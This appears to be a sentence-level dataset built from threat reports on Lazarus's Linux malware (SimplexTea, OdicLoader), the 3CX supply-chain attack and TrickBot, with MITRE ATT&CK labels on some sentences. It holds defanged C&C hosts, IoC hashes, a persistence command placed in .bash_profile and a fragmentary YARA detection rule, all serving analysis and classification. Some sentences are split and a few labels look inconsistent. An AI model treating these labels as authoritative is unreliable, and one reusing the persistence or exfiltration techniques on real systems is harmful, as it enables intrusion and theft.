{"sentence": "On April 3rd, Kaspersky, through its telemetry, showed a direct relationship between the 3CX supply-chain victims and the deployment of a backdoor dubbed Gopuram, both involving payloads with a common name, guard64.dll.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Kaspersky data shows that Gopuram is connected to Lazarus because it coexisted on victim machines alongside AppleJeus, malware that was already attributed to Lazarus.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Both Gopuram and AppleJeus were observed in attacks against a cryptocurrency company.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Then, on April 11th, the CISO of 3CX summarized Mandiant’s interim findings in a blogpost.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "According to that report, two Windows malware samples, a shellcode loader called TAXHAUL and a complex downloader named COLDCAT, were involved in the compromise of 3CX.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "SHA-1: 2ACC6F1D4656978F4D503929B8C804530D7E7CF6 (ualapi.dll), SHA-1: DCEF83D8EE080B54DC54759C59F955E73D67AA65 (wlbsctrl.dll) The filenames, but not MD5s, of these samples coincide with those from Kaspersky’s blogpost.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "However, 3CX explicitly states that COLDCAT differs from Gopuram.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The next section contains a technical description of the new Lazarus malicious Linux payload we recently analyzed, as well as how it helped us strengthen the existing link between Lazarus and the 3CX compromise.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Operation DreamJob with a Linux payload The Lazarus group’s Operation DreamJob involves approaching targets through LinkedIn and tempting them with job offers from industry leaders.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The name was coined by ClearSky in a paper published in August 2020.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "That paper describes a Lazarus cyberespionage campaign targeting defense and aerospace companies.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The activity has overlap with what we call Operation In(ter)ception, a series of cyberespionage attacks that have been ongoing since at least September 2019.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "During July and August 2022, we found two instances of Operation In(ter)ception targeting macOS.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "One malware sample was submitted to VirusTotal from Brazil, and another attack targeted an ESET user in Argentina.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "A few weeks ago, a native Linux payload was found on VirusTotal with an HSBC-themed PDF lure.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "This completes Lazarus’s ability to target all major desktop operating systems.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "On March 20th, a user in the country of Georgia submitted to VirusTotal a ZIP archive called HSBC job offer.pdf.zip.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The archive contains a single file: a native 64-bit Intel Linux binary written in Go and named HSBC job offer․pdf.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Interestingly, the file extension is not .pdf.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "This could cause the file to run when double-clicked instead of opening it with a PDF viewer.", "labels": ["T1204.002"], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "We decided to call this ELF downloader OdicLoader, as it has a similar role as the IconicLoaders on other platforms and the payload is fetched from OpenDrive.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "OdicLoader drops a decoy PDF document, displays it using the system’s default PDF viewer (see Figure 2), and then downloads a second-stage backdoor from the OpenDrive cloud service.", "labels": ["T1105"], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The downloaded file is stored in ~/.config/guiconfigd (SHA-1: 0CA1723AFE261CD85B05C9EF424FC50290DCE7DF).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "As the last step of its execution, the OdicLoader modifies ~/.bash_profile, so SimplexTea is launched with Bash and its output is muted (~/.config/guiconfigd >/dev/null 2>&1).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Illustration of the probable chain of compromise Figure 3.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "An HSBC-themed lure in the Linux DreamJob campaign SimplexTea is a Linux backdoor written in C++.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "As highlighted in Table 1, its class names are very similar to function names found in a sample, with filename sysnetd, submitted to VirusTotal from Romania (SHA-1: F6760FB1F8B019AF2304EA6410001B63A1809F1D).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Comparison of the original symbol names from two Linux backdoors submitted to VirusTotal guiconfigd (SimplexTea for Linux, from Georgia)sysnetd (BADCALL for Linux, from Romania) CMsgCmd::Start(void)MSG_Cmd CMsgSecureDel::Start(void)MSG_Del CMsgDir::Start(void)MSG_Dir CMsgDown::Start(void)MSG_Down CMsgExit::Start(void)MSG_Exit CMsgReadConfig::Start(void)MSG_ReadConfig CMsgRun::Start(void)MSG_Run CMsgSetPath::Start(void)MSG_SetPath CMsgSleep::Start(void)MSG_Sleep CMsgTest::Start(void)MSG_Test CMsgUp::Start(void)MSG_Up CMsgWriteConfig::Start(void)MSG_WriteConfig MSG_GetComInfo CMsgHibernate::Start(void) CMsgKeepCon::Start(void) CMsgZipDown::Start(void)", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "CHttpWrapper::SendLoginData(uchar *,uint,uchar *&,uint *)", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The following section shows similarities with Lazarus’s Windows backdoor called BADCALL.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "It was attributed to Lazarus by CISA in December 2017.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Similarities between a Windows and a Linux variant of BADCALL (a list of domains used as a front for a fake TLS connection) prtspool (SHA-1: 58B0516D28BD7218B1908FB266B8FE7582E22A5F), which shows code similarities to sysnetd (see Figure 5).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Note as well that SIMPLESEA, a macOS backdoor found during the 3CX incident response, implements the A5/1 stream cipher.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Similarities between AppleJeus for macOS and the Linux variant of BADCALL (the key for the A5/1 stream cipher)", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "This Linux version of the BADCALL backdoor, sysnetd, loads its configuration from a file named /tmp/vgauthsvclog.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Since Lazarus operators have previously disguised their payloads, the use of this name, which is used by the VMware Guest Authentication service, suggests that the targeted system may be a Linux VMware virtual machine.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Interestingly, the XOR key in this case is the same as one used in SIMPLESEA from the 3CX investigation.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Figure 8 Taking a look at the three 32-bit integers, 0xC2B45678, 0x90ABCDEF, and 0xFE268455 from Figure 5, which represent a key for a custom implementation of the A5/1 cipher, we realized that the same algorithm and the identical keys were used in Windows malware that dates back to the end of 2014 and was involved in one of the most notorious Lazarus cases: the cybersabotage of Sony Pictures Entertainment (SHA-1: 1C66E67A8531E3FF1C64AE57E6EDFDE7BEF2352D).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Based on the PE Rich Headers, both IconicLoader (samcli.dll) and IconicStealer (sechost.dll) are projects of a similar size and compiled in the same Visual Studio environment as the executables iertutil.dll (SHA-1: 5B03294B72C0CAA5FB20E7817002C600645EB475) and iertutil.dll (SHA-1: 7491BD61ED15298CE5EE5FFD01C8C82A2CDB40EC) reported in the Lazarus cryptocurrency campaigns by Volexity and Microsoft.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "SimplexTea payload loads its configuration in a very similar way to the SIMPLESEA malware from the 3CX official incident response.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "The XOR key differs (0x5E vs. 0x7E), but the configuration bears the same name: apdl.cf (see Figure 8). Figure 8.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "This compromised software, deployed on various IT infrastructures, which allows the download and execution of any kind of payload, can have devastating impacts.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Unfortunately, no software publisher is immune to being compromised and inadvertently distributing trojanized versions of their applications.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Lazarus has already used this technique in the past, targeting South Korean users of WIZVERA VeraPort software in 2020.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Both Windows and macOS systems were targeted during the 3CX incident, with 3CX’s VoIP software for both operating systems being trojanized to include malicious code to fetch arbitrary payloads.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "In the case of 3CX, both Windows and macOS second-stage malware versions exist.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "This article demonstrates the existence of a Linux backdoor that probably corresponds to the SIMPLESEA macOS malware seen in the 3CX incident.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "We named this Linux component SimplexTea and showed that it is part of Operation DreamJob, Lazarus’s flagship campaign using job offers to lure and compromise unsuspecting victims.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "IoCs Files SHA-1FilenameESET detection nameDescription 0CA1723AFE261CD85B05C9EF424FC50290DCE7DFguiconfigdLinux/NukeSped.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "ESimplexTea for Linux.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "3A63477A078CE10E53DFB5639E35D74F93CEFA81HSBC_job_offer․pdfLinux/NukeSped.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "EOdicLoader, a 64-bit downloader for Linux, written in Go. 9D8BADE2030C93D0A010AA57B90915EB7D99EC82HSBC_job_offer.pdf.zipLinux/NukeSped.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "F6760FB1F8B019AF2304EA6410001B63A1809F1DsysnetdLinux/NukeSped.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "GBADCALL for Linux.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "First seen2023-03-20 12:00:35 MD5CEDB9CDBAD254F60CFB215B9BFF84FB9 SHA-10CA1723AFE261CD85B05C9EF424FC50290DCE7DF SHA-256EEBB01932DE0B5605DD460CC82844D8693C00EA8AB5FFDF8DBEDE6528C1C18FD Filenameguiconfigd DescriptionSimplexTea for Linux.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "First seen2023-03-16 07:44:18 MD53CF7232E5185109321921046D039CF10 SHA-13A63477A078CE10E53DFB5639E35D74F93CEFA81 SHA-256492A643BD1EFDACA4CA125ADE1B606E7BBF00E995AC9115AC84D1C4C59CB66DD FilenameHSBC_job_offer․pdf DescriptionOdicLoader, a 64-bit downloader for Linux, in Go. C&Chttps://od[.]lk/d/NTJfMzg4MDE1NzJf/vxmedia Downloaded fromN/A DetectionLinux/NukeSped.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "First seen2023-03-20 02:23:29 MD5FC41CB8425B6432AF8403959BB59430D SHA-19D8BADE2030C93D0A010AA57B90915EB7D99EC82 SHA-256F638E5A20114019AD066DD0E856F97FD865798D8FBED1766662D970BEFF652CA FilenameHSBC_job_offer.pdf.zip DescriptionA ZIP archive with a Linux payload, from VirusTotal.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "C&CN/A Downloaded fromN/A DetectionLinux/NukeSped.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "G PE compilation timestampN/A Network IP addressDomainHosting providerFirst seenDetails 23.254.211[.]230N/AHostwinds LLC.N/AC&C server for BADCALL for Linux 38.108.185[.]7938.108.185[.]115od[.]lkCogent Communications2023-03-16Remote OpenDrive storage containing SimplexTea (/d/NTJfMzg4MDE1NzJf/vxmedia) 172.93.201[.]88journalide[.]orgNexeon Technologies, Inc.2023-03-29C&C server for SimplexTea (/djour.php) MITRE ATT&CK techniques TacticIDNameDescription ReconnaissanceT1593.001Search Open Websites/Domains: Social MediaLazarus attackers probably approached a target with a fake HSBC-themed job offer that would fit the target’s interest.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "This has been done mostly via LinkedIn in the past.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "T1585.003Establish Accounts: Cloud AccountsThe attackers hosted the final stage on the cloud service OpenDrive.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "T1608.001Stage Capabilities: Upload MalwareThe attackers hosted the final stage on the cloud service OpenDrive.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Execution: Malicious FileOdicLoader masquerades as a PDF file in order to fool the target.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Initial AccessT1566.002Phishing: Spearphishing LinkThe target likely received a link to third-party remote storage with a malicious ZIP archive, which was later submitted to VirusTotal.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "PersistenceT1546.004Event Triggered Execution: Unix Shell Configuration ModificationOdicLoader modifies the victim’s Bash profile, so SimplexTea is launched each time Bash is stared and its output is muted.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Defense EvasionT1134.002Access Token Manipulation: Create Process with TokenSimplexTea can create a new process, if instructed by its C&C server.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "T1140Deobfuscate/Decode Files or InformationSimplexTea stores its configuration in an encrypted apdl.cf. T1027.009Obfuscated Files or Information: Embedded PayloadsThe droppers of all malicious chains contain an embedded data array with an additional stage.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "T1562.003Impair Defenses: Impair Command History LoggingOdicLoader modifies the victim’s Bash profile, so the output and error messages from SimplexTea are muted.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "T1070.004Indicator Removal: File DeletionSimplexTea has the ability to delete files securely.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "T1497.003Virtualization/Sandbox Evasion: Time Based EvasionSimplexTea implements multiple custom sleep delays in its execution.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "DiscoveryT1083File and Directory DiscoverySimplexTea can list the directory content together with their names, sizes, and timestamps (mimicking the ls -la command).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Command and ControlT1071.001Application Layer Protocol: Web ProtocolsSimplexTea can use HTTP and HTTPS for communication with its C&C server, using a statically linked Curl library.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "T1132.001Data Encoding: Standard EncodingSimplexTea encodes C&C traffic using base64.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Appendix This YARA rule flags the cluster containing both IconicLoader and IconicStealer, as well as the payloads deployed in the cryptocurrency campaigns from December 2022. 123456789101112131415161718192021 /*The following rule will only work with YARA version >= 3.11.0*/import \"pe\"rule RichHeaders_Lazarus_NukeSped_IconicPayloads_3CX_Q12023{ meta: description = \" Rich Headers-based rule covering the IconicLoader and IconicStealer from the 3CX supply chain incident, and also payloads from the cryptocurrency campaigns from 2022-12\" author = \"ESET Research\" date = \"2023-03-31\" hash = \"3B88CDA62CDD918B62EF5AA8C5A73A46F176D18B\" hash = \"CAD1120D91B812ACAFEF7175F949DD1B09C6C21A\" hash = \"5B03294B72C0CAA5FB20E7817002C600645EB475\" hash = \"7491BD61ED15298CE5EE5FFD01C8C82A2CDB40EC\" condition: pe.rich_signature.toolid(259, 30818) == 9 and pe.rich_signature.toolid(256, 31329) == 1 and pe.rich_signature.toolid(261, 30818) >= 30 and pe.rich_signature.toolid(261, 30818) <", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "= 38 and pe.rich_signature.toolid(261, 29395)", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": ">= 134 and pe.rich_signature.toolid(261, 29395)", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": ">= 6 and pe.rich_signature.toolid(257, 29395)", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "We continued to track Tomiris as a separate threat actor over three new attack campaigns between 2021 and 2023, and our telemetry allowed us to shed light on the group.", "labels": [], "doc_title": "Tomiris called they want their Turla malware back"}
{"sentence": "In this blog post, we’re excited to share what we now know of Tomiris with the broader community, and discuss further evidence of a possible connection to Turla.", "labels": [], "doc_title": "Tomiris called they want their Turla malware back"}
{"sentence": "Original release date: March 17, 2021 | Last revised: May 20, 2021SummaryThis Joint Cybersecurity Advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK:registered:) framework, Version 8.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "A sophisticated group of cybercrime actors is luring victims, via phishing emails, with a traffic infringement phishing scheme to download TrickBot.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "TrickBot—first identified in 2016—is a Trojan developed and operated by a sophisticated group of cybercrime actors.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "To secure against TrickBot, CISA and FBI recommend implementing the mitigation measures described in this Joint Cybersecurity Advisory, which include blocking suspicious Internet Protocol addresses, using antivirus software, and providing social engineering and phishing training to employees.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Technical DetailsTrickBot is an advanced Trojan that malicious actors spread primarily by spearphishing campaigns using tailored emails that contain malicious attachments or links, which—if enabled—execute malware (Phishing:", "labels": ["T1566.001"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Spearphishing Attachment", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[T1566.001],", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[T1566.002]).", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "CISA and FBI are aware of recent attacks that use phishing emails, claiming to contain proof of a traffic violation, to steal sensitive information.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "The phishing emails contain links that redirect to a website hosted on a compromised server that prompts the victim to click on photo proof of their traffic violation.", "labels": ["T1204.002"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "JavaScript [T1059.007]).", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[T1185]).", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "TrickBot operators have a toolset capable of spanning the entirety of the MITRE ATT&CK framework, from actively or passively gathering information that can be used to support targeting (Reconnaissance [TA0043]), to trying to manipulate, interrupt, or destroy systems and data (Impact [TA0040]).", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "TrickBot is capable of data exfiltration over a hardcoded C2 server, cryptomining, and host enumeration (e.g., reconnaissance of Unified Extensible Firmware Interface or Basic Input/Output System [UEFI/BIOS] firmware) (Exfiltration Over C2 Channel", "labels": ["T1041"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[T1041], Resource Hijacking [T1496], System Information Discovery.[2]", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "For host enumeration, operators deliver TrickBot in modules containing a configuration file with specific tasks.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Figure 1 lays out TrickBot’s use of enterprise techniques. Figure 1: MITRE ATT&CK enterprise techniques used by TrickBot MITRE ATT&CK Techniques According to MITRE, TrickBot [S0266] uses the ATT&CK techniques listed in table 1. Table 1: TrickBot ATT&CK techniques for", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "enterprise Initial Access", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[TA0001] Technique Title ID Use Phishing:", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Phishing: Spearphishing Link T1566.002 TrickBot has been delivered via malicious links in phishing emails.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Task T1053.005 TrickBot creates a scheduled task on the system that provides persistence.", "labels": ["T1053.005"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Windows Command Shell T1059.003 TrickBot has used macros in Excel documents to download and deploy the malware on the user’s machine. Command and Scripting Interpreter: JavaScript/JScript T1059.007 TrickBot victims unknowingly download a malicious JavaScript file that, when opened, automatically communicates with the malicious actor’s C2 server to download TrickBot to the victim’s system.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Native API T1106 TrickBot uses the Windows Application Programming Interface (API) call, CreateProcessW(), to manage execution flow.", "labels": ["T1106"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "User Execution: Malicious Link T1204.001 TrickBot has sent spearphishing emails in an attempt to lure users to click on a malicious link.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "User Execution: Malicious File T1204.002 TrickBot has attempted to get users to launch malicious documents to deliver its payload.", "labels": ["T1204.002"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Persistence [TA0003] Technique Title ID Use Scheduled Task/Job: Scheduled Task T1053.005 TrickBot creates a scheduled task on the system that provides persistence.", "labels": ["T1053.005"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Windows Service T1543.003 TrickBot establishes persistence by creating an autostart service that allows it to run whenever the machine boots. Privilege Escalation", "labels": ["T1543.003"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[TA0004] Technique Title ID Use Scheduled Task/Job: Scheduled", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Process Injection: Process Hollowing T1055.012 TrickBot injects into the svchost.exe process.", "labels": ["T1055"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Windows Service T1543.003 TrickBot establishes persistence by creating an autostart service that allows it to run whenever the machine boots.", "labels": ["T1543.003"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[TA0005] Technique Title ID Use Obfuscated Files or Information T1027 TrickBot uses non-descriptive names to hide functionality and uses an AES CBC (256 bits) encryption algorithm for its loader and configuration files.", "labels": ["T1027"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Masquerading T1036 The TrickBot downloader has used an icon to appear as a Microsoft Word document.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Modify Registry T1112 TrickBot can modify registry entries.", "labels": ["T1112"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Subvert Trust Controls: Code Signing T1553.002 TrickBot has come with a signed downloader component.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Impair Defenses: Disable or Modify Tools T1562.001 TrickBot can disable Windows Defender.", "labels": ["T1562.001"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[TA0006] Technique Title ID Use Input Capture: Credential API Hooking T1056.004 TrickBot has the ability to capture Remote Desktop Protocol credentials by capturing the CredEnumerateA API.", "labels": ["T1106"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Unsecured Credentials: Credentials in Registry T1552.002 TrickBot has retrieved PuTTY credentials by querying the Software\\SimonTatham\\Putty\\Sessions registry key. Credentials from Password Stores T1555 TrickBot can steal passwords from the KeePass open-source password manager. Credentials from Password Stores: Credentials from Web Browsers T1555.003 TrickBot can obtain passwords stored in files from web browsers such as Chrome, Firefox, Internet Explorer, and Microsoft Edge, sometimes using esentutl.", "labels": ["T1012", "T1552.001"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Discovery [TA0007] Technique Tactic ID Use System Service Discovery T1007 TrickBot collects a list of install programs and services on the system’s machine.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "System Network Configuration Discovery T1016 TrickBot obtains the IP address, location, and other relevant network information from the victim’s machine.", "labels": ["T1016"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Permission Groups Discovery T1069 TrickBot can identify the groups the user on a compromised host belongs to.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "System Information Discovery T1082 TrickBot gathers the OS version, machine name, CPU type, amount of RAM available from the victim’s machine.", "labels": ["T1082"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "File and Directory Discovery T1083 TrickBot searches the system for all of the following file extensions: .avi, .mov, .mkv, .mpeg, .mpeg4, .mp4, .mp3, .wav, .ogg, .jpeg, .jpg, .png, .bmp, .gif, .tiff, .ico, .xlsx, and .zip.", "labels": ["T1083"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "It can also obtain browsing history, cookies, and plug-in information.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Domain Trust Discovery T1482 TrickBot can gather information about domain trusts by utilizing Nltest.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Lateral Movement [TA0008] Technique Tactic ID Use Lateral Tool Transfer T1570 Some TrickBot modules spread the malware laterally across a network by abusing the SMB Protocol.", "labels": ["T1570"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[TA0011] Technique Tactic ID Use Fallback Channels T1008 TrickBot can use secondary command and control (C2) servers for communication after establishing connectivity and relaying victim information to primary C2 servers.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Application Layer Protocol: Web Protocols T1071.001 TrickBot uses HTTPS to communicate with its C2 servers, to get malware updates, modules that perform most of the malware logic and various configuration files.", "labels": ["T1071.001"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Ingress Tool Transfer T1105 TrickBot downloads several additional files and saves them to the victim's machine.", "labels": ["T1105"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Encrypted Channel:", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Symmetric Cryptography T1573.001 TrickBot uses a custom crypter leveraging Microsoft’s CryptoAPI to encrypt C2 traffic.", "labels": ["T1106", "T1573.001"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Exfiltration [TA0010] Technique Tactic ID Use Exfiltration Over C2 Channel T1041 TrickBot can send information about the compromised host to a hardcoded C2 server.", "labels": ["T1041"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Impact [TA0040] Technique Tactic ID Use Resource Hijacking T1496 TrickBot actors can leverage the resources of co-opted systems for cryptomining to validate transactions of cryptocurrency networks and earn virtual currency.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
